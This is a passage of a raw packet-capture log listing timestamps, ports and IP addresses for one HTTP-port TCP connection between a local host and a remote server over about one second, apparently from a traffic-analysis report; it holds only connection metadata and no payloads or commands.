Nov 21, 2024 22:33:50.519187927 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.520339012 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.520389080 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.520467997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.520514011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.521682024 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.521732092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.521781921 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.521828890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.523031950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.523082018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.523118973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.523164034 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.524365902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.524416924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.524454117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.524497032 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.525685072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.525733948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.525808096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.525856972 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.526997089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.527045012 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.591222048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.591336966 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.591353893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.591376066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.591572046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.591625929 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.591666937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.591717005 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.592926025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.592974901 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.592988014 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.593029976 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.594310999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.594361067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.594444036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.594505072 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.595593929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.595643997 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.595782995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.595832109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.596955061 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.597006083 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.597107887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.597156048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.598253965 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.598303080 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.598375082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.598423004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.599621058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.599668026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.599704981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.599750042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.600934982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.600982904 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.601083040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.601129055 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.602339029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.602386951 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.602524042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.602572918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.603650093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.603718996 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.603812933 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.603859901 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.605000019 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.605047941 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.605082035 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.605123997 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.669388056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.669557095 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.669682026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.669928074 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.669967890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.670016050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.670248985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.670296907 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.670351028 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.670393944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.671600103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.671647072 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.671683073 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.671725035 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.672928095 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.672975063 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.672995090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.673039913 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.674312115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.674364090 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.674529076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.674576998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.675647974 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.675700903 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.675797939 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.675843954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.676920891 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.676970959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.677011013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.677056074 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.678299904 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.678350925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.678426027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.678472996 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.679686069 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.679740906 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.679774046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.679827929 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.680948019 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.680995941 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.681049109 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.681094885 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.682286978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.682333946 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.682423115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.682471037 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.683585882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.683631897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.747735977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.747890949 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.747904062 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.747946024 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.748366117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.748421907 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.748455048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.748501062 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.749732018 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.749743938 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.749784946 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.750731945 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.750837088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.750868082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.750962019 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.752057076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.752104998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.752161026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.752211094 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.755817890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.755829096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.755840063 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.755850077 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.755865097 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.755882025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.755907059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.756934881 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.756946087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.756983042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.758322954 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.758368969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.758646965 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.758694887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.759694099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.759705067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.759743929 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.760911942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.760962009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.761065006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.761111021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.762120008 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.762171030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.792613983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.792701960 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.826001883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.826039076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.826203108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.826477051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.826566935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.826741934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.826791048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.826879025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.826931000 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.828074932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.828125000 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.828195095 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.828262091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.829447031 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.829498053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.829590082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.829638958 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.830754042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.830801964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.830889940 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.830934048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.832098961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.832151890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.832176924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.832223892 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.833429098 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.833477974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.833517075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.833559990 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.834750891 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.834806919 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.834861994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.834904909 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.836126089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.836174965 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.836184025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.836226940 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.837455988 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.837503910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.837558985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.837605000 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.838777065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.838830948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.838865042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.838912964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.840118885 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.840168953 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.840178967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.840267897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.841406107 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.841454029 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.905288935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.905299902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.905349970 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.905579090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.905653954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.905700922 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.906955004 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.907047987 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.907057047 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.908117056 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.908261061 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.908310890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.908397913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.908441067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.909591913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.909642935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.909708023 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.909831047 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.910950899 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.910995960 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.911036015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.911086082 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.912326097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.912434101 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.912484884 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.913623095 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.913746119 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.913793087 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.914971113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.915014029 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.915106058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.915191889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.916290998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.916341066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.916395903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.916492939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.917635918 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.917733908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.917778015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.918977022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.919087887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.919152021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.920300961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.920356989 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.920389891 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.920432091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.983777046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.983995914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.984092951 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.984318018 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.984672070 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.984729052 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.984826088 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.984872103 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.985941887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.986063957 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.986115932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.987303972 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.987427950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.987473011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.988594055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.988647938 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.988687992 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.989655018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.989995956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.990006924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.990042925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.990061045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.991281986 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.991375923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.991424084 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.992611885 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.992723942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.992774963 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.993978024 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.994048119 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.994122982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.995305061 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.995419979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.995471001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.996642113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.996721983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.996849060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.997967005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.998022079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.998089075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.998138905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.999275923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.999336004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.061933041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.062100887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.062140942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.062285900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.062314987 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.062381029 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.062452078 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.062521935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.063594103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.063646078 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.063668966 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.063699007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.064636946 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.064692020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.064752102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.064796925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.065958977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.066015005 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.066085100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.066132069 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.067327023 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.067385912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.067414045 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.067512989 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.068633080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.068685055 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.068706036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.068763018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.070156097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.070207119 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.070291042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.070338011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.071309090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.071358919 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.071445942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.071496964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.072701931 CET	80	49759	109.107.157.132	192.168.2.4
